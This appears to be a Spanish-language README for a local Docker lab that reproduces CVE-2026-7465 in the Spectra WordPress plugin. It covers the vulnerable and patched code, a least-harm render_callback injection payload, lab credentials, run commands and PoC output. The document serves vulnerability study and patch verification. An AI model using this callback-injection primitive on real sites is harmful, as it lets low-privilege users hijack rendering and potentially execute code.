
Laboratorio Docker local para analizar y reproducir la CVE-2026-7465 en el plugin Spectra Gutenberg Blocks de WordPress. Compara las versiones vulnerable y parcheada con un PoC de menor impacto que demuestra la inyección de render_callback.
Laboratorio Docker local para analizar y reproducir CVE-2026-7465 en el plugin de WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Este laboratorio compara:
vuln: Spectra 2.19.25patched: Spectra 2.19.26La prueba es intencionalmente de mínimo daño. No ejecuta comandos de shell, no sube archivos, no crea usuarios ni modifica el contenedor directamente. El PoC crea una entrada de WordPress borrador temporal, comprueba el comportamiento del bloque renderizado y luego elimina el borrador.
CVE-2026-7465 es una vulnerabilidad en Spectra Gutenberg Blocks donde los atributos de bloque de Gutenberg controlados por el usuario podían pasarse a los argumentos de registro de bloques de WordPress.
En la versión vulnerable, Spectra registra dinámicamente los bloques uagb/* analizados usando los atributos de bloque del contenido de la entrada:
$registry->register( $block['blockName'], $block['attrs'] );
Debido a que un Colaborador puede crear contenido de entrada que contenga comentarios de bloque de Gutenberg, un usuario autenticado a nivel de Colaborador puede influir en argumentos de registro como render_callback.
La versión 2.19.26 corrige el problema registrando el bloque con un array de argumentos vacío:
$registry->register( $block['blockName'], array() );
Esto evita que los atributos de bloque controlados por la entrada se conviertan en opciones de registro de bloques de PHP.
Producto:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Versiones usadas en este laboratorio:
vulnerable: 2.19.25
patched: 2.19.26
El changelog de WordPress.org para la versión 2.19.26 indica que la actualización solucionó un bug de seguridad y agradece a Wordfence por la divulgación responsable.
La lógica vulnerable se encuentra en:
classes/class-uagb-init-blocks.php
El código vulnerable comprueba si un nombre de bloque analizado contiene el espacio de nombres uagb/. Si el bloque aún no está registrado, lo registra dinámicamente.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
El problema es el segundo argumento:
$block['attrs']
En Gutenberg, los atributos de bloque pueden almacenarse dentro del contenido de la entrada, por ejemplo:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Un Colaborador puede crear contenido de entrada en borrador. Por lo tanto, el atacante puede influir en $block['attrs'].
Cuando esos atributos se pasan a WP_Block_Type_Registry::register(), se convierten en argumentos de registro de bloques. Un argumento de registro sensible es:
render_callback
Esto crea una primitiva de control de callback.
En 2.19.26, Spectra sigue registrando el nombre de bloque uagb/* analizado, pero ya no pasa los atributos controlados por la entrada como argumentos de registro:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
El cambio importante es:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Esto elimina los atributos controlados por el atacante de la ruta de registro de bloques.
maybe_serializeEl PoC no utiliza callbacks de PHP peligrosos como system, exec, shell_exec o passthru.
En su lugar, utiliza:
maybe_serialize
El contenido del bloque de prueba es:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Comportamiento esperado:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
Esto demuestra el comportamiento vulnerable sin ejecutar comandos ni escribir archivos.
Servicios:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
Puertos locales:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
Usuario de WordPress preconfigurado:
username: contributor
password: contributorpass123!
role: contributor
El PoC es solo HTTP. Interactúa con WordPress mediante inicio de sesión y peticiones a la API REST.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Empieza desde un entorno limpio:
docker compose down -v --remove-orphans
docker compose up -d --build
Comprueba los contenedores:
docker compose ps
Comprueba los logs de seed:
docker compose logs seed_vuln seed_patched
Resultado esperado del seed:
[+] seed vuln: done
[+] seed patched: done
Prueba el objetivo vulnerable:
python3 poc/poc.py -t http://127.0.0.1:8181
Veredicto esperado para la versión vulnerable:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Prueba el objetivo parcheado:
python3 poc/poc.py -t http://127.0.0.1:8182
Veredicto esperado para la versión parcheada:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete